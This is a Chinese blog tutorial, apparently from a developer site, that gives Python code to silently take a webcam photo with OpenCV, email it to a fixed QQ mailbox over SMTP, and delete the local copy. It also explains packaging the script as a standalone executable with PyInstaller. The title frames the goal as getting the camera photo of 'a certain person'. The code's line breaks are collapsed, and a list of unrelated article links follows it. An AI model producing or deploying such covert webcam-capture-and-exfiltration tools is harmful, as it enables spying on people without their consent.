仅用来学习,希望给你们有提供到学习上的作用。

1.安装库

需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。

2.更改收件人和发件人为自己邮箱,更改授权码

获取授权码的方法:

  1. 点击设置
  2. 点击账户
  3. 开启pop3/smtp服务
  4. 验证密保
  5. 获取到16位授权码

第一步:

第二步:

第三步:

第四、五步:

3.编译成可执行文件

打包方法:

  1. 先安装pyinstaller,在终端中输入pip install pyinstaller
  2. 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。

打包,输入命令行

pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件

dist文件夹里面即可找到可执行文件。

4.源码与注释

import os                    # 删除图片文件
import cv2                   # 调用摄像头拍摄照片
from smtplib import SMTP_SSL          # SSL加密的  传输协议
from email.mime.text import MIMEText      # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header         # 发送内容# 调用摄像头拍摄照片
def get_photo():cap = cv2.VideoCapture(0)      # 开启摄像头f, frame = cap.read()        # 将摄像头中的一帧图片数据保存cv2.imwrite('image.jpg', frame)   # 将图片保存为本地文件cap.release()            # 关闭摄像头# 把图片文件发送到我的邮箱
def send_message():# 选择QQ邮箱发送照片host_server = 'smtp.qq.com'     # QQ邮箱smtp服务器pwd = '****************'      # 授权码from_qq_mail = 'QQ@qq.com'     # 发件人to_qq_mail = 'QQ@qq.com'      # 收件人msg = MIMEMultipart()        # 创建一封带附件的邮件msg['Subject'] = Header('摄像头照片', 'UTF-8')  # 消息主题msg['From'] = from_qq_mail            # 发件人msg['To'] = Header("YH", 'UTF-8')        # 收件人msg.attach(MIMEText("照片", 'html', 'UTF-8'))  # 添加邮件文本信息# 加载附件到邮箱中 SSL 方式  加密image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')image["Content-Type"] = 'image/jpeg'  # 附件格式为图片的加密数据msg.attach(image)           # 附件添加# 开始发送邮件smtp = SMTP_SSL(host_server)      # 链接服务器smtp .login(from_qq_mail, pwd)     # 登录邮箱smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱smtp.quit()   # 退出if __name__ == '__main__':get_photo()         # 开启摄像头获取照片send_message()       # 发送照片os.remove('image.jpg')   # 删除本地照片

5.效果如下

最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。

感谢看到这里的你,分享到这里结束了,更多Python精彩内容可以关注我看我主页,三连~

引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片相关推荐

  1. 哪些人适合参加Python培训班?

    哪些人适合参加Python培训班?确实,不是所有人都适合参加Python培训班的,有一定基础的同学会选择自学,零基础的同学比较适合参加Python培训班,来看看下面的具体介绍. 哪些人适合参加Pyth ...

  2. 为什么炒股时间越长的人,越是爱劝想要炒股的人别炒股?

    为什么炒股时间越长的人,越是爱劝想要炒股的人别炒股? 1. 想要炒股的人他们的入市的时间大多就是错误的.一般人都是股市非常火热的时侯才想炒股,而此时一般离头部的暴跌已不远.所以我当然会反对他们炒股票, ...

  3. 【Python获取相亲网站数据】马上都元宵节了,还在相亲,看看某相亲网站有没有那个有缘人。

    前言 马上都元宵节了,还在相亲,看看某相亲网站有没有那个有缘人.今天我们来爬取某相亲网站获取我们想要的数据,比如说,对方的姓名,年龄,身高,体重等等.今天我们主要使用CSS选择的方法来匹配我们想要的数 ...

  4. python不会编程的人怎么学化妆_奉劝那些想学编程的人

    学编程,从W3Cschool开始! 作为一家在线编程学习平台,W3Cschool已经有10年的历史,在期间,我们见证了无数编程爱好者的学习经历,有成功转行成功的,也有实现了自己的编程梦想的,但更多的人 ...

  5. b站看那个的python_用Python获取B站播放历史记录 !男友居然天天背着我看这些!...

    今天Geek专栏为大家带来 乐聚机器人王松博士的 "用Python获取B站播放历史记录" 最近 B 站出了一个年度报告,统计用户一年当中在 B 站上观看视频的总时长和总个数.过去一 ...

  6. python对财务人员的帮助-还不熟练VBA的财务人,让Python带你弯道超车!

    原标题:还不熟练VBA的财务人,让Python带你弯道超车! 相信做财务的同学肯定对VBA这门编程语言并不感到陌生. VBA可以帮助我们快速的处理大量的数据,一些复杂的逻辑或需要重复操作的处理也可以用 ...

  7. 精通python能干嘛-很多人说精通Python?对于精通我们存在哪些误区

    如何才算精通Python?在Python学习中,我们都有哪些误区?相信你看完这篇文章都会得到解答.心灵也会得到释放! 如果不能,我希望这篇回答能让你意识到自己Python知识还存在哪些不足,在之后的学 ...

  8. 获取frame_用Python获取可能是全网最全的杰尼龟表情包(第一弹)

    杰尼龟系列表情包在广大网友之间传递快乐,红极一时.我想是杰尼龟可爱的外表以及憨憨的形态,圆圆的脸蛋大大的眼睛,且其经常在剧中摆出各式夸张表情,因而被广大网友制成各式各样的表情包,并且深受沙雕网友的喜爱 ...

  9. 超全!Python获取某一日期是“星期几”的6种方法!

    在Python进行数据分析时,按照日期进行分组汇总也是被需要的,比如会找到销量的周期性规律. 那么在用Python进行数据统计之前,就需要额外增加一步:从指定的日期当中获取星期几.比如2022年2月2 ...

最新文章

  1. Python 的property的实现 .
  2. 关于Advertising Campaign
  3. mysql同步row模式_ROW模式的SQL无法正常同步的问题总结
  4. 安装模块时提示Collecting package metadata (repodata.json): failed
  5. 解决子线程操作UI的方法
  6. 云计算的背后到底是什么?
  7. idea首次创建新模块的详细操作
  8. 如何进行需求优先级管理?
  9. javaShop JAVA版多用户B2B2C商城源码(PC +H5+小程序+APP)
  10. wordpress付费阅读_2020年27个最佳WordPress杂志主题[免费+付费]
  11. 甲方怎样加强工程项目管理?
  12. AcWing 2019. 拖拉机
  13. PASCAL VOC数据集-可以了解一下
  14. 鸿蒙OS到底是不是Android套皮?(少bb,看源码!)
  15. 使用封装的API接口,在控制台输出undefined
  16. 【CentOS 7 Web服务器配置】
  17. 【散文】 岁月留痕遇好友
  18. 由爆火的“羊了个羊”浅谈小游戏开发
  19. h5 神策埋点_使用神策数据设置埋点
  20. 【STM8S】STM8S之内外部16M晶振

热门文章

  1. 让炼丹更玄学!苏大博士生用「天干地支」生成随机种子,项目已开源
  2. 又一位!26岁当上985博导,读博期间也曾两次想要退学......
  3. 16岁日本神童打造日版「健康码」,追踪用户行动数据抗击疫情
  4. 凌晨三点,各类程序员都在干吗?
  5. Java开发中的23种设计模式详解(转)
  6. Gerapy分布式管理框架
  7. 创业基础(第四章: 创业风险及识别与管理) 来自高校:全国大学生创新创业实践联盟 分类:创新创业 学习规则:按序学习
  8. 用OpenCV实现页面扭曲矫正
  9. OpenCV中的透视变换介绍
  10. intellij idea中去除@Autowired注入对象的红色波浪线提示